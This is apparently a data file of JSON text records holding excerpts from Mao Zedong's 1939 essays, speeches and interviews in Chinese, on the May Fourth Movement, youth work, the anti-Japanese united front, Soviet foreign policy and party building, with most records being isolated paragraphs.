    {"text": "五四运动 五四运动 * （一九三九年五月一日） 二十年前的五四运动 〔1〕 ，表现中国反帝反封建的资产阶级民主革命已经发展到了一个新阶段。五四运动的成为文化革新运动，不过是中国反帝反封建的资产阶级民主革命的一种表现形式。由于那个时期新的社会力量的生长和发展，使中国反帝反封建的资产阶级民主革命出现一个壮大了的阵营，这就是中国的工人阶级、学生群众和新兴的民族资产阶级所组成的阵营。而在“五四”时期，英勇地出现于运动先头的则有数十万的学生。这是五四运动比较辛亥革命进了一步的地方。 中国资产阶级民主革命的过程，如果要从它的准备时期说起的话，那它就已经过了鸦片战争 〔2〕 、太平天国战争 〔3〕 、甲午中日战争 〔4〕 、戊戌维新 〔5〕 、义和团运动 〔6〕 、辛亥革命 〔7〕 、五四运动、北伐战争、土地革命战争等好几个发展阶段。今天的抗日战争是其发展的又一个新的阶段，也是最伟大、最生动、最活跃的一个阶段。直至国外帝国主义势力和国内封建势力基本上被推翻而建立独立的民主国家之时，才算资产阶级民主革命的成功。从鸦片战争以来，各个革命发展阶段各有若干特点。其中最重要的区别就在于共产党出现以前及其以后。然而就其全体看来，无一不是带了资产阶级民主革命的性质。这种民主革命是为了建立一个在中国历史上所没有过的社会制度，即民主主义的社会制度，这个社会的前身是封建主义的社会（近百年来成为半殖民地半封建的社会），它的后身是社会主义的社会。若问一个共产主义者为什么要首先为了实现资产阶级民主主义的社会制度而斗争，然后再去实现社会主义的社会制度，那答复是：走历史必由之路。 中国民主革命的完成依靠一定的社会势力。这种社会势力是：工人阶级、农民阶级、知识分子和进步的资产阶级，就是革命的工、农、兵、学、商，而其根本的革命力量是工农，革命的领导阶级是工人阶级。如果离开了这种根本的革命力量，离开了工人阶级的领导，要完成反帝反封建的民主革命是不可能的。在今天，革命的根本敌人是日本帝国主义和汉奸，革命的根本政策是抗日民族统一战线，这个统一战线的组织成分是一切抗日的工、农、兵、学、商。抗日战争最后胜利的取得，将是在工、农、兵、学、商的统一战线大大地巩固和发展的时候。 在中国的民主革命运动中，知识分子是首先觉悟的成分。辛亥革命和五四运动都明显地表现了这一点，而五四运动时期的知识分子则比辛亥革命时期的知识分子更广大和更觉悟。然而知识分子如果不和工农民众相结合，则将一事无成。革命的或不革命的或反革命的知识分子的最后的分界，看其是否愿意并且实行和工农民众相结合。他们的最后分界仅仅在这一点，而不在乎口讲什么三民主义或马克思主义。真正的革命者必定是愿意并且实行和工农民众相结合的。 五四运动到现在已有了二十个周年，抗日战争也快到两周年了。全国的青年和文化界对于民主革命和抗日战争负有大的责任。我希望他们认识中国革命的性质和动力，把自己的工作和工农民众结合起来，到工农民众中去，变为工农民众的宣传者和组织者。全国民众奋起之日，就是抗日战争胜利之时。全国青年们，努力啊！ 注 释 * 这是毛泽东为延安出版的中共中央机关报《解放》写的纪念五四运动二十周年的文章。 〔1〕 见本书第一卷《实践论》注〔6〕。 〔2〕 见本书第一卷《论反对日本帝国主义的策略》注〔35〕。 〔3〕 见本书第一卷《论反对日本帝国主义的策略》注〔36〕。 〔4〕 见本书第一卷《矛盾论》注〔22〕。 〔5〕 见本卷《论持久战》注〔12〕。 〔6〕 见本书第一卷《论反对日本帝国主义的策略》注〔37〕。 〔7〕 见本书第一卷《湖南农民运动考察报告》注〔3〕。"},
    {"text": "青年运动的方向 青年运动的方向 * （一九三九年五月四日） 今天是五四运动 〔1〕 的二十周年纪念日，我们延安的全体青年在这里开这个纪念大会，我就来讲一讲关于中国青年运动的方向的几个问题。"},
    {"text": "第一，现在定了五月四日为中国青年节，这是很对的 〔2〕 。 “五四”至今已有二十年，今年才在全国定为青年节，这件事含着一个重要的意义。"},
    {"text": "就是说，它表示我们中国反对帝国主义和封建主义的人民民主革命，快要进到一个转变点了。 几十年来反帝反封建的人民民主革命屡次地失败了，这种情形，现在要来一个转变，不是再来一次失败，而是要转变到胜利的方面去了。 现在中国的革命正在前进着，正在向着胜利前进。"},
    {"text": "现当全国人民奋起抗日的时候，大家鉴于过去革命失败的经验，下决心一定要把日本帝国主义打败，并且不容许再有卖国贼，不容许革命再失败。"},
    {"text": "但是我们在目前的阶段上不是实行社会主义，而是破坏帝国主义和封建主义，改变中国现在的这个半殖民地半封建的地位，建立人民民主主义的制度。"},
    {"text": "一百年来，中国的斗争，从鸦片战争 〔3〕 反对英国侵略起，后来有太平天国的战争 〔4〕 ，有甲午战争 〔5〕 ，有戊戌维新 〔6〕 ，有义和团运动 〔7〕 ，有辛亥革命 〔8〕 ，有五四运动，有北伐战争，有红军战争，这些虽然情形各不相同，但都是为了反抗外敌，或改革现状的。"},
    {"text": "但是这十年的奋斗，也只完成了局部的革命任务，还没有完成全国的革命任务。 如果我们把过去几十年的革命做一个总结，那便是只得到了暂时的部分的胜利，没有永久的全国的胜利。"},
    {"text": "所谓自己的力量太弱，有军事、政治、经济、文化各方面表现的弱点，但是主要的是因为占全国人口百分之九十的工农劳动群众还没有动员起来，所以表现了弱，所以不能完成反帝反封建的任务。"},
    {"text": "青年们一定要知道，只有动员占全国人口百分之九十的工农大众，才能战胜帝国主义，才能战胜封建主义。 现在我们要达到战胜日本建立新中国的目的，不动员全国的工农大众，是不可能的。"},
    {"text": "中国的知识青年们和学生青年们，一定要到工农群众中去，把占全国人口百分之九十的工农大众，动员起来，组织起来。 没有工农这个主力军，单靠知识青年和学生青年这支军队，要达到反帝反封建的胜利，是做不到的。 所以全国知识青年和学生青年一定要和广大的工农群众结合在一块，和他们变成一体，才能形成一支强有力的军队。"},
    {"text": "拿这个观点来看过去的青年运动，就应该指出一种错误的倾向，这就是在过去几十年的青年运动中，有一部分青年，他们不愿意和工农大众相联合，他们反对工农运动，这是青年运动潮流中的一股逆流。"},
    {"text": "早几天，我作了一篇短文 〔10〕 ，我在那里说过这样一句话：“革命的或不革命的或反革命的知识分子的最后的分界，看其是否愿意并且实行和工农民众相结合。"},
    {"text": "只有一个标准，这就是看他愿意不愿意、并且实行不实行和广大的工农群众结合在一块。 愿意并且实行和工农结合的，是革命的，否则就是不革命的，或者是反革命的。 他今天把自己结合于工农群众，他今天是革命的； 但是如果他明天不去结合了，或者反过来压迫老百姓，那就是不革命的，或者是反革命的了。"},
    {"text": "所以我们看人的时候，看他是一个假三民主义者还是一个真三民主义者，是一个假马克思主义者还是一个真马克思主义者，只要看他和广大的工农群众的关系如何，就完全清楚了。"},
    {"text": "大家知道，抗日战争的根本政策，是抗日民族统一战线，它的目的是打倒日本帝国主义，打倒汉奸，变旧中国为新中国，使全民族从半殖民地半封建的地位解放出来。"},
    {"text": "因为延安的青年运动的方向是正确的。 你们看，在统一方面，延安的青年们不但做了，而且做得很好。 延安的青年们是团结的，是统一的。 延安的知识青年、学生青年、工人青年、农民青年，大家都是团结的。 全国各地，远至海外的华侨中间，大批的革命青年都来延安求学。"},
    {"text": "希望大家把五十年来的中国革命经验研究一下，把好的地方发挥起来，把错误去掉，使全国青年和全国人民结合起来，使革命由失败转变到胜利。"},
    {"text": "每个青年现在必须和过去不同，一定要下一个大决心，把全国的青年团结起来，把全国的人民组织起来，一定要把日本帝国主义打倒，一定要把旧中国改造为新中国。"},
    {"text": "后来国民党畏惧青年学习“五四”的革命精神，觉得这个规定很危险，又改定以三月二十九日（一九一一年在广州起义中牺牲后来葬在黄花岗的革命烈士的纪念日）为青年节。"},
    {"text": "〔3〕 见本书第一卷《论反对日本帝国主义的策略》注〔35〕。 〔4〕 见本书第一卷《论反对日本帝国主义的策略》注〔36〕。 〔5〕 见本书第一卷《矛盾论》注〔22〕。 〔6〕 见本卷《论持久战》注〔12〕。 〔7〕 见本书第一卷《论反对日本帝国主义的策略》注〔37〕。 〔8〕 见本书第一卷《湖南农民运动考察报告》注〔3〕。"},
    {"text": "于是雪片一样地制造所谓“共产党捣乱”，“八路军、新四军游而不击，不听指挥”，“陕甘宁边区实行割据，向外扩展”，“共产党阴谋推翻政府”，乃至“苏联阴谋侵略中国”等等的假消息、假报告、假文件、假决议，用以蒙蔽事实的真相，企图造成舆论，达其主和即投降之目的。"},
    {"text": "主和派即投降派之所以这样做，因为共产党是抗日民族统一战线的发起者和坚持者，不反对它，就不能破坏国共合作，就不能分裂抗日民族统一战线，就不能投降。"},
    {"text": "许多所谓主和派分子，他们不但希望各大国出来对日本压一压，迫使日本让步，以便讲和，而且还希望各国向中国政府的头上压一压，以便向主战派说：“你们看，国际空气如此，只得和吧！"},
    {"text": "这一套，不但汪精卫在演出，更严重的就是还有许多的张精卫、李精卫，他们暗藏在抗日阵线内部，也在和汪精卫里应外合地演出，有些唱双簧 〔7〕 ，有些装红白脸 〔8〕 。"},
    {"text": "我们仅仅愿意和全国一切爱国党派、爱国同胞一道，巩固团结，巩固抗日民族统一战线，巩固国共合作，实行三民主义 〔9〕 ，抗战到底，打到鸭绿江边，收复一切失地 〔10〕 ，而不知其他。"},
    {"text": "我们向他们说：你们这种分裂阴谋的实质，不过是你们实行投降的准备步骤，而你们的投降政策和分裂政策不过是出卖民族利益、图谋少数人私利的整个计划的表现；"},
    {"text": "武汉失陷后日本的甜言蜜语，例如放弃其所谓“不以国民政府为对手”的方针 〔12〕 ，转而承认以国民政府为对手，例如所谓华中、华南撤兵的条件，乃是诱鱼上钓取而烹之的阴险政策，谁要上钓谁就准备受烹。"},
    {"text": "半年以来，由于日本诱降政策的加紧执行，国际投降主义者的积极活动，主要地还是在中国抗日阵线中一部分人的更加动摇，所谓和战问题竟闹得甚嚣尘上，投降的可能就成了当前政治形势中的主要危险；"},
    {"text": "在这种情形下，全国一切爱国党派，一切爱国同胞，必须睁大眼睛注视那班投降派的活动，必须认识当前形势中投降是主要危险、反共即准备投降这一个主要的特点，而用一切努力去反对投降和分裂。"},
    {"text": "用全民族的血肉和日本帝国主义打了两个周年的战争，决不容许一部分人的动摇和叛卖。 用全民族的努力所结成的抗日民族统一战线，决不容许一部分人的破坏和分裂。"},
    {"text": "中华民族的历史任务是团结抗战以求解放，投降派欲反其道而行之，无论他们如何得势，如何兴高采烈，以为天下“莫予毒也”，然而他们的命运是最后一定要受到全国人民的制裁的。"},
    {"text": "〔3〕 国际投降主义者，指当时阴谋牺牲中国、对日妥协的英美帝国主义者。 〔4〕 当时，英、美、法帝国主义者和中国主和派阴谋召开所谓太平洋国际会议，同日本帝国主义妥协，出卖中国。"},
    {"text": "〔5〕 一九三八年九月，英、法、德、意四国政府首脑在德国的慕尼黑举行会议，签订了慕尼黑协定，英法将捷克斯洛伐克出卖给德国，作为德国向苏联进攻的交换条件。"},
    {"text": "〔8〕 当时以蒋介石为首的国民党主和派采取两面派的活动，一面还装着抗战的样子，另一面又用各种形式去进行投降的活动，就好像中国古典戏剧中的演员，有的化装红脸，有的化装白脸一样。"},
    {"text": "日本政府利用蒋介石对于抗战的动摇，改取诱蒋投降为主的方针，在十一月三日又发表声明，宣称“如果国民政府抛弃以往的指导方针，更换人事，改弦易辙，参加新秩序的建设，我方亦不拒绝”。"},
    {"text": "但是现在杀人的地方不是在上海、北平天、津、南京，不是在日寇汉奸占领的地方，而是在平江这个地方，在抗战的后方，被杀死的是新四军平江通讯处的负责同志涂正坤、罗梓铭等。"},
    {"text": "同志们还要懂得，近来日本帝国主义的捣乱更加厉害了，国际帝国主义帮助日本也更加积极了 〔4〕 ，中国内部的汉奸，公开的汪精卫和暗藏的汪精卫，他们破坏抗战，破坏团结，向后倒退，也更加积极了。"},
    {"text": "现在国内流行一种秘密办法，叫做什么《限制异党活动办法》 〔5〕 ，其内容全部是反动的，是帮助日本帝国主义的，是不利于抗战，不利于团结，不利于进步的。"},
    {"text": "〔1〕 一九三九年六月十二日，根据蒋介石的秘密命令，国民党第二十七集团军派兵包围新四军驻湖南平江嘉义镇的通讯处，惨杀新四军参议涂正坤、八路军少校副官罗梓铭等六人。"},
    {"text": "〔3〕 毛泽东在这里所解释的“统一”，是针对国民党反动派企图利用“统一”的名义，以消灭共产党领导的抗日武装和抗日根据地的阴谋而提出的。 自从国共两党重新合作共同抗日之日起，国民党在政治上用以打击共产党的主要武器就是“统一”这个口号，他们诬蔑共产党标新立异，妨碍统一，不利抗日。"},
    {"text": "在国民党反动派所认为的“异党活动最烈之区域”，实行“联保连坐法”，在保甲组织中建立“通讯网”，即建立反革命的特务组织，以便随时监视和限制人民的活动；"},
    {"text": "关于国际新形势对新华日报<a class=\"zy\" href=\"#id1a\" id=\"id1\">〔1〕</a>记者的谈话 关于国际新形势 对新华日报 〔1〕 记者的谈话 （一九三九年九月一日） 记者问：苏德互不侵犯协定的订立 〔2〕 ，其意义如何？"},
    {"text": "这个协定打破了张伯伦、达拉第 〔3〕 等国际反动资产阶级挑动苏德战争的阴谋，打破了德意日反共集团对于苏联的包围，巩固了苏德两国间的和平，保障了苏联社会主义建设的发展。"},
    {"text": "英法则始终不赞成平等互惠原则，只要求苏联保证它们的安全，它们却不肯保证苏联的安全，不肯保证波罗的海诸小国的安全，以便开一个缺口让德国进兵，并且不让苏联军队通过波兰去反对侵略者。"},
    {"text": "早已开始了的第二次帝国主义战争的片面性状态，即是说，由于“不干涉”政策而发生的一方进攻、一方坐视的局面，就欧洲方面说来，今后势必由全面性的战争起而代之。"},
    {"text": "第二国际所属的社会民主党，在张伯伦、达拉第的威迫利诱之下，正在发生分化，一部分上层反动分子正在蹈袭第一次大战时的覆辙，准备赞助新的帝国主义战争。"},
    {"text": "无论在德意，无论在英法，无论在欧洲和世界其他地方，人民如果不愿充当帝国主义的炮灰，他们就一定会起来用各种方式去反对帝国主义战争。"},
    {"text": "但是，它将更厉害地进行其“以华制华” 〔7〕 的政治进攻和“以战养战” 〔8〕 的经济侵略，而在其占领地则将继续疯狂的军事“扫荡” 〔9〕 ；"},
    {"text": "更因敌人目前的主要政策是“以华制华”的政治进攻和“以战养战”的经济侵略，英国的东方政策是远东慕尼黑，这就极大地加重了中国大部投降和内部分裂的危险。"},
    {"text": "不论是军事方面的、政治方面的、财政经济方面的、党务方面的、文化教育方面的和民众运动方面的，一切不利于抗战的思想、制度和办法，都要来一个重新考虑和切实改进，以利抗战。"},
    {"text": "和中央社、扫荡报、新民报<a class=\"zy\" href=\"#id1a\" id=\"id1\">〔1〕</a>三记者的谈话 和中央社、扫荡报、新民报 〔1〕 三记者的谈话 （一九三九年九月十六日） 记者问：有几个问题请教。"},
    {"text": "这里并不否认敌人还可能有比较大的战役进攻，例如进攻北海、长沙，甚至进攻西安，都是可能的。 说敌人的大规模战略进攻和我们的战略退却在一定条件下基本上已经停止，并不是说一切进攻的可能和一切退却的可能都没有了。"},
    {"text": "你们知道，共同抗日的军队叫做友军，不叫做“异军”，那末，共同抗日的党派就是友党，不是“异党”。 抗战中间有许多党派，党派的力量有大小，但是大家同在抗战，完全应该互相团结，而决不应该互相“限制”。"},
    {"text": "他要反蒋，我们就要拥蒋； 他要反共，我们就要联共； 他要亲日，我们就要抗日。 凡是敌人反对的，我们就要拥护； 凡是敌人拥护的，我们就要反对。"},
    {"text": "问：由于对于统一的了解不同，国共是否有分裂的可能？ 答：如果只说到可能性的话，那末，团结和分裂两种可能性都有，要看国共两党的态度如何，尤其要看全国人民的态度如何来决定。"},
    {"text": "但是要给长期合作找到政治保证，分裂的可能性才能彻底避免，这就是坚持抗战到底和实行民主政治。 如果能这样做，那末，就能继续团结而避免分裂，这是要靠两党和全国人民共同努力的，也是一定要这样努力的。"},
    {"text": "〔6〕 见本卷《必须制裁反动派》注〔5〕。 〔7〕 见本书第一卷《论反对日本帝国主义的策略》注〔31〕。 〔8〕 见本卷《团结一切抗日力量，反对反共顽固派》注〔5〕和注〔6〕。 〔9〕 见本卷《必须制裁反动派》注〔1〕。"},
    {"text": "苏联利益和人类利益的一致 苏联利益和人类利益的一致 （一九三九年九月二十八日） 当着伟大的十月社会主义革命二十二周年纪念快要到来的时候，中苏文化协会要我写一篇文章。"},
    {"text": "因为在过去很长的时期中，苏联的对外政策是一贯的和平政策，这种和平政策就是以苏联的利益和世界人类大多数的利益互相联系着的。 在过去，苏联不但为了自己建设社会主义需要和平，需要巩固苏联和世界各国间的和平关系，不使发生反苏战争； 而且需要制止各法西斯国家的侵略，制止各所谓民主国家挑拨战争的行为，需要尽量地延缓帝国主义世界大战的爆发，争取世界范围内的和平。 多年以来，苏联对于世界的和平事业，尽了很大的努力。"},
    {"text": "当德意联合侵略西班牙，而英美法采取名义上“不干涉”实际上放任德意侵略的政策的时候，苏联就积极地援助西班牙政府军反抗德意，而反对英美法的“不干涉”政策。 当日本侵略中国，英美法采取同样的“不干涉”政策的时候，苏联就不但同中国订立了互不侵犯条约，而且积极地援助了中国的抗日。"},
    {"text": "当今年春夏波兰问题紧张、世界大战一触即发的时候，不管张伯伦、达拉第 〔5〕 如何没有诚意，苏联还是同英法进行了四个多月的谈判，企图订立一个英法苏互助条约，制止大战的爆发。"},
    {"text": "无如这一切，都被英法政府的帝国主义政策，纵容战争、挑拨战争、扩大战争的政策所障碍，世界和平事业就遭受了最后的挫折，帝国主义的世界大战终于爆发了。"},
    {"text": "国人不去注意此种阴谋，不去注意英法帝国主义的纵容战争、挑拨战争和促进世界大战爆发的阴谋，实在是上了这些阴谋家的甜蜜宣传的当。 这些阴谋家，在西班牙问题上，在中国问题上，在奥地利和捷克的问题上，不但并无丝毫制止侵略的意思，而且相反，纵容侵略，挑拨战争，使人为鹬蚌，己为渔人，美其名曰“不干涉”，实则是“坐山观虎斗”。"},
    {"text": "世界上多少人被张伯伦及其伙伴的甜蜜演说所蒙蔽，而不知道他们笑里藏刀的可怕，而不知道在张伯伦、达拉第决心拒绝苏联，决心进行帝国主义战争的时候，苏德才订立了互不侵犯条约；"},
    {"text": "世界各国的共产党，世界各国的人民，都应该起来反对这种战争，都应该揭穿战争双方的帝国主义性质，即仅仅有害于世界人民而丝毫也不利于世界人民的这种性质，都应该揭穿社会民主党拥护帝国主义战争背叛无产阶级利益的罪恶的行为。"},
    {"text": "苏联是社会主义的国家，是共产党当权的国家，它对于战争的态度必然是鲜明的两种态度：（1）坚决地不参加非正义的、掠夺的、帝国主义的战争，对于战争的双方，严守中立。"},
    {"text": "有些人把苏联根据苏德商务协定同德国做生意一件事，看作是苏联参加德国战线的行动，这种意见也是不正确的，这是把通商和参战混为一谈的缘故。"},
    {"text": "例如在西班牙战争中，苏联是同德、意两国通商的，但世人不说苏联援助德意侵略西班牙，而说苏联援助西班牙反抗德意的侵略，这是因为苏联确实地援助了西班牙的缘故。 又如在中日战争中，苏联也是同日本通商的，世人也不说苏联援助日本侵略中国，而说它援助中国反抗日本的侵略，这是因为苏联确实地援助了中国的缘故。 现在世界大战的双方都和苏联有通商关系，这种事实，对于双方都说不到援助，更说不到参战。 除非战争的性质有了变化，某一国或某几国的战争经过一定的必要的变化之后，对于苏联和世界人民有利的时候，那时才有援助或参战的可能；"},
    {"text": "至于依据交战各国对苏联的态度是亲苏或反苏的分别，使苏联对它们的通商不得不有多有少，有厚有薄，这是各交战国自己态度的问题，不是苏联的问题。 但是即使某一国家或某些国家采取了反苏态度，只要它们还愿维持外交关系，订立通商条约，而不向苏联宣战，例如八月二十三日以前的德国那样，苏联也不会同它们断绝通商关系的。"},
    {"text": "在英法方面，是把波兰作为英法财政资本掠夺的对象之一，是为了在世界范围内拒绝德国帝国主义重分它们的赃物而去利用波兰的，是把波兰当做自己帝国主义战线的一翼来看待的，所以英法的战争是帝国主义战争，英法的所谓援助波兰不过是同德国争夺对波兰的统治权，同样是不能同情的，是应当反对的。"},
    {"text": "在波兰政府方面，它是一个法西斯政府，是波兰地主资产阶级的反动政府，它残酷地剥削工农，压迫波兰的民主主义者； 它又是一个大波兰主义的政府，因为它在波兰民族以外的许多少数民族中，即在乌克兰人、白俄罗斯人、犹太人、日耳曼人、立陶宛人等等一千余万人口的非波兰民族中，施行残酷的民族压迫，它本身是一个帝国主义的政府。"},
    {"text": "而这个政府又是一个十分无能的政府，一百五十万以上的大军，不堪一击，仅仅在两个星期的时间中，就葬送了自己的国家，使波兰人民遭受德国帝国主义的蹂躏。"},
    {"text": "在那白俄罗斯民族和乌克兰民族居住的一大块土地，还是在一九一八年订立布列斯特条约 〔9〕 的时候，就被当时的德国帝国主义从幼年的苏联手里强迫地割去，而后来又被凡尔赛条约强迫地放到波兰反动政府的统治下面。 苏联现在不过是把过去失掉的土地收回来，把被压迫的白俄罗斯民族和乌克兰民族解放出来，并使免受德国的压迫。"},
    {"text": "但当诺蒙坎停战协定 〔10〕 订立之后，英、美通讯社纷传日苏互不侵犯协定行将订立的消息，中国人民中间就发生一种忧虑，有些人认为苏联或者将不援助中国了。"},
    {"text": "现在日本统治阶级内部的一派，要求苏联订立这种条约，而苏联是否愿意订立，须看这个条约是否合乎苏联利益和世界人类大多数利益这一个基本原则而定。"},
    {"text": "据我看，根据斯大林今年三月十日在苏联共产党第十八次代表大会上的报告，根据莫洛托夫今年五月三十日在苏联最高议会上的演说，苏联是不会变更这个基本原则的。"},
    {"text": "此外的所谓外援，即使还有可能，也只能看作是部分的和暂时的。 当然，这些部分的暂时的外援，也是应该争取的，但决不可过于依赖，不可看作可靠的援助。"},
    {"text": "国人注意国际问题的研究，注意帝国主义世界大战和中国抗日战争的关系，注意苏联和中国的关系，而其目的是为了中国抗日的胜利，这是很好的现象。"},
    {"text": "八月十日，苏日在莫斯科订立张鼓峰停战协定，规定双方立即停战，发生冲突地带的双方界线的最后标定，由苏联代表二人、日“满”代表二人组织混合委员会调查处理。"},
    {"text": "而党的任务是动员群众克服投降危险、分裂危险和倒退危险，并准备对付可能的突然事变，使党和革命不在可能的突然事变中，遭受出乎意料的损失。"},
    {"text": "而且就其领导骨干说来，就其党员的某些成分说来，就其总路线说来，就其革命工作说来，也已经是一个思想上、政治上、组织上都巩固的和布尔什维克化的党。"},
    {"text": "理由就在：我们现在有大批的新党员所形成的很多的新组织，这些新组织还不能说是广大群众性的，还不是思想上、政治上、组织上都巩固的，还不是布尔什维克化的。"},
    {"text": "如果把这些情况联系起来看，就懂得我们提出“建设一个全国范围的、广大群众性的、思想上政治上组织上完全巩固的布尔什维克化的中国共产党”，是怎样一个光荣而又严重的任务了。"},
    {"text": "再则，由于中国是半殖民地半封建的国家，政治、经济、文化各方面发展不平衡的国家，半封建经济占优势而又土地广大的国家，这就不但规定了中国现阶段革命的性质是资产阶级民主革命的性质，革命的主要对象是帝国主义和封建主义，基本的革命的动力是无产阶级、农民阶级和城市小资产阶级，而在一定的时期中，一定的程度上，还有民族资产阶级的参加，并且规定了中国革命斗争的主要形式是武装斗争。"},
    {"text": "这样：（一）无产阶级同资产阶级建立或被迫分裂革命的民族统一战线，（二）主要的革命形式是武装斗争，——就成了中国资产阶级民主革命过程中的两个基本特点。"},
    {"text": "这里，我们没有把党同农民阶级和党同城市小资产阶级的关系作为基本特点，这是因为：第一，这种关系，世界各国的共产党原则上都是一样的；"},
    {"text": "十八年来，党的建设过程，党的布尔什维克化的过程，是这样同党的政治路线密切地联系着，是这样同党对于统一战线问题、武装斗争问题之正确处理或不正确处理密切地联系着的。"},
    {"text": "所以，统一战线问题，武装斗争问题，党的建设问题，是我们党在中国革命中的三个基本问题。 正确地理解了这三个问题及其相互关系，就等于正确地领导了全部中国革命。"},
    {"text": "而在十八年党的历史中，凭借我们丰富的经验，失败和成功、后退和前进、缩小和发展的深刻的和丰富的经验，我们已经能够对这三个问题做出正确的结论来了。"},
    {"text": "也就是说，十八年的经验，已使我们懂得：统一战线，武装斗争，党的建设，是中国共产党在中国革命中战胜敌人的三个法宝，三个主要的法宝。"},
    {"text": "十八年中，中国无产阶级同中国资产阶级和其他阶级的统一战线，是在三种不同的情况、三个不同的阶段中间发展着的，这就是一九二四年至一九二七年第一次大革命的阶段，一九二七年至一九三七年土地革命战争的阶段和今天的抗日战争的阶段。 三个阶段的历史，证明了下列的规律：（一）由于中国最大的压迫是民族压迫，在一定的时期中，一定的程度上，中国民族资产阶级是能够参加反帝国主义和反封建军阀的斗争的。"},
    {"text": "（三）中国的带买办性的大资产阶级，是直接为帝国主义服务并为它们所豢养的阶级。 因此，中国的带买办性的大资产阶级历来都是革命的对象。 但是，由于中国的带买办性的大资产阶级的各个集团是以不同的帝国主义为背景的，在各个帝国主义间的矛盾尖锐化的时候，在革命的锋芒主要地是反对某一个帝国主义的时候，属于别的帝国主义系统的大资产阶级集团也可能在一定程度上和一定时期内参加反对某一个帝国主义的斗争。 在这种一定的时期内，中国无产阶级为了削弱敌人和加强自己的后备力量，可以同这样的大资产阶级集团建立可能的统一战线，并在有利于革命的一定条件下尽可能地保持之。 （四）在买办性的大资产阶级参加统一战线并和无产阶级一道向共同敌人进行斗争的时候，它仍然是很反动的，它坚决地反对无产阶级及其政党在思想上、政治上、组织上的发展，而要加以限制，而要采取欺骗、诱惑、“溶解”和打击等等破坏政策，并以这些政策作为它投降敌人和分裂统一战线的准备。"},
    {"text": "这种错误，把中国的资产阶级和资本主义国家的资产阶级看做一样，因而忽视同资产阶级建立统一战线并尽可能保持这个统一战线的政策，这就是“左”倾关门主义。"},
    {"text": "这种错误，忽视资产阶级（尤其是大资产阶级）不但在极力影响小资产阶级和农民，而且还在极力影响无产阶级和共产党，力求消灭无产阶级和共产党在思想上、政治上、组织上的独立性，力求把无产阶级和共产党变成资产阶级及其政党的尾巴，力求使革命果实归于资产阶级的一群一党的事实；"},
    {"text": "中国资产阶级在资产阶级民主革命中的这种二重性，对于中国共产党的政治路线和党的建设的影响是非常之大的，不了解中国资产阶级的这种二重性，就不能了解中国共产党的政治路线和党的建设。"},
    {"text": "中国共产党的政治路线的重要一部分，就是同资产阶级联合又同它斗争的政治路线。 中国共产党的党的建设的重要一部分，就是在同资产阶级联合又同它斗争的中间发展起来和锻炼出来的。 这里所谓联合，就是同资产阶级的统一战线。 所谓斗争，在同资产阶级联合时，就是在思想上、政治上、组织上的“和平”的“不流血”的斗争；"},
    {"text": "如果我们党不知道在一定时期中同资产阶级联合，党就不能前进，革命就不能发展； 如果我们党不知道在联合资产阶级时又同资产阶级进行坚决的、严肃的“和平”斗争，党在思想上、政治上、组织上就会瓦解，革命就会失败； 又如果我们党在被迫着同资产阶级分裂时不同资产阶级进行坚决的、严肃的武装斗争，同样党也就会瓦解，革命也就会失败。"},
    {"text": "我们党已经能够把武装斗争这个主要斗争形式同其他许多的必要的斗争形式直接或间接地配合起来，就是说，把武装斗争同工人的斗争，同农民的斗争（这是主要的），同青年的、妇女的、一切人民的斗争，同政权的斗争，同经济战线上的斗争，锄奸战线上的斗争，思想战线上的斗争，等等斗争形式，在全国范围内或者直接地或者间接地配合起来。"},
    {"text": "在这个阶段中，我们能够运用过去第一阶段中尤其是第二阶段中的武装斗争的经验，能够运用武装斗争形式和其他各种必要的斗争形式互相配合的经验。"},
    {"text": "它就是在落后的国家中，在半殖民地的大国中，在长时期内，人民武装队伍为了战胜武装的敌人、创造自己的阵地所必须依靠的因而也是最好的斗争形式。"},
    {"text": "离开了武装斗争，离开了游击战争，就不能了解我们的政治路线，也就不能了解我们的党的建设。 我们的政治路线的重要一部分就是武装斗争。 十八年来，我们党是逐步学会了并坚持了武装斗争。 我们懂得，在中国，离开了武装斗争，就没有无产阶级的地位，就没有人民的地位，就没有共产党的地位，就没有革命的胜利。 十八年来，我们党的发展、巩固和布尔什维克化，是在革命战争中进行的，没有武装斗争，就不会有今天的共产党。"},
    {"text": "然而这时的党终究还是幼年的党，是在统一战线、武装斗争和党的建设三个基本问题上都没有经验的党，是对于中国的历史状况和社会状况、中国革命的特点、中国革命的规律都懂得不多的党，是对于马克思列宁主义的理论和中国革命的实践还没有完整的、统一的了解的党。"},
    {"text": "因此，党的领导机关中占统治地位的成分，在这一阶段的末期，在这一阶段的紧要关头中，没有能够领导全党巩固革命的胜利，受了资产阶级的欺骗，而使革命遭到失败。"},
    {"text": "党内混入了大批的投机分子，但是没有清洗出去。 党处于敌人和同盟者的阴谋诡计的包围中，但是没有警觉性。 党内涌出了很多的活动分子，但是没有来得及造成党的中坚骨干。 党的手里有了一批革命武装，但是不能掌握住。"},
    {"text": "由于有了第一阶段的经验，由于对于中国的历史状况和社会状况、中国革命的特点、中国革命的规律的进一步的了解，由于我们的干部更多地领会了马克思列宁主义的理论，更多地学会了将马克思列宁主义的理论和中国革命的实践相结合，我们党就能够进行了胜利的十年土地革命斗争。"},
    {"text": "然而，一部分同志曾在这个伟大斗争中跌下了或跌下过机会主义的泥坑，这仍然是因为他们不去虚心领会过去的经验，对于中国的历史状况和社会状况、中国革命的特点、中国革命的规律不了解，对于马克思列宁主义的理论和中国革命的实践没有统一的理解而来的。"},
    {"text": "党和革命在一个时期遭受过李立三同志“左”倾机会主义 〔4〕 的危害，而在另一个时期，又遭受过革命战争中的“左”倾机会主义和白区工作中的“左”倾机会主义的危害。"},
    {"text": "只在到了遵义会议 〔5〕 （一九三五年一月在贵州遵义召开的中央政治局会议）以后，党才彻底地走上了布尔什维克化的道路，奠定了后来战胜张国焘右倾机会主义 〔6〕 和建立抗日民族统一战线的基础。"},
    {"text": "党凭借着过去两个革命阶段中的经验，凭借着党的组织力量和武装力量，凭借着党在全国人民中间的很高的政治信仰，凭借着党对于马克思列宁主义的理论和中国革命的实践之更加深入的更加统一的理解，就不但建立了抗日民族统一战线，而且进行了伟大的抗日战争。"},
    {"text": "然而，大批的新党员还没有受到教育，很多的新组织还没有巩固，他们同老党员和老组织之间，还存在着很大的区别。 大批的新党员、新干部还没有足够的革命经验。 他们对于中国的历史状况和社会状况、中国革命的特点、中国革命的规律还不懂得或懂得不多。 他们对于马克思列宁主义的理论和中国革命的实践之完全的统一的理解，还相距很远。"},
    {"text": "在过去发展党的组织的工作中，虽然中央着重地提出了“大胆发展而又不让一个坏分子侵入”的口号，但实际上是混进了许多投机分子和敌人的暗害分子。"},
